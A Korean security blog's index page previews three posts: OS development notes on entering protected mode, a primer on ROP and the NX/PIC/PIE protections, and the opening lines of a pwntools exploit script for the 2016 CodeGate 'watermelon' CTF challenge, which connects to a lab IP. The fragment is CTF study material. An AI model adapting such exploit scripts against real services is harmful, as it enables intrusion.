본문 바로가기

OS 개발 6챕터 방학동안 OS를 개발해 오던 스터디가 개학을 하면서 터지고, 잠깐동안 OS 개발을 멈췄다가 다시 OS 개발의 중요성을 느끼고 6주차 부터 다시 만들기 시작했다.6주차 내용은 리얼 모드에서 보호 모드로 전환하는 부분이다. 직접 cr0 레지스터랑 GDT를 설정하니까 되게 신기했었다. 다만 세그먼트 디스크립터에서 왜 굳이 Base 주소 비트를 여기저기 나눠놨는지를 모르겠다.. 참 이상하다. 더보기
Return Oriented Programming 기초 ROP 기초에 대한 지식이 부족하여 다시 공부하고 정리해서 올립니다~~ 먼저 보호 기법에 대해서 알아보겠습니다.NX(Non eXcutable) - 모든 주소에 쓰기 권한과 실행 권한을 동시에 주지 않는 보호기법입니다. 이로 인해서 코드 영역에는 쓰기를 할 수 없고 데이터 영역에는 실행할 수 없게 됩니다.PIC(Position Independent Code) - 코드가 어디에 존재하든지 서로 상대주소만 같다면 잘 동작하도록 하는 방법입니다. 베이스 주소와 코드의 오프셋으로 이루어져 있습니다.PIE(Position Independent Executable) - 위의 PIC를 바이너리에 적용 한 것입니다. 바이너리 내의 코드가 위 PIC처럼 베이스 주소와 상대 주소로 이루어지게 됩니다. 그리고 PIE가 걸려있.. 더보기
2016 CodeGate watermelon exploit 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182from SunKn0wn import * r = remote('192.168.179.135', 1111) def add(music, artist): r.recvuntil('select\t|\t\n') r.sendline('1') r.recvuntil('music\t|\t') r.sendline(music) r.recvuntil('artist\t|\t') r.sendline(artist) def view(): r.recvuntil('.. 더보기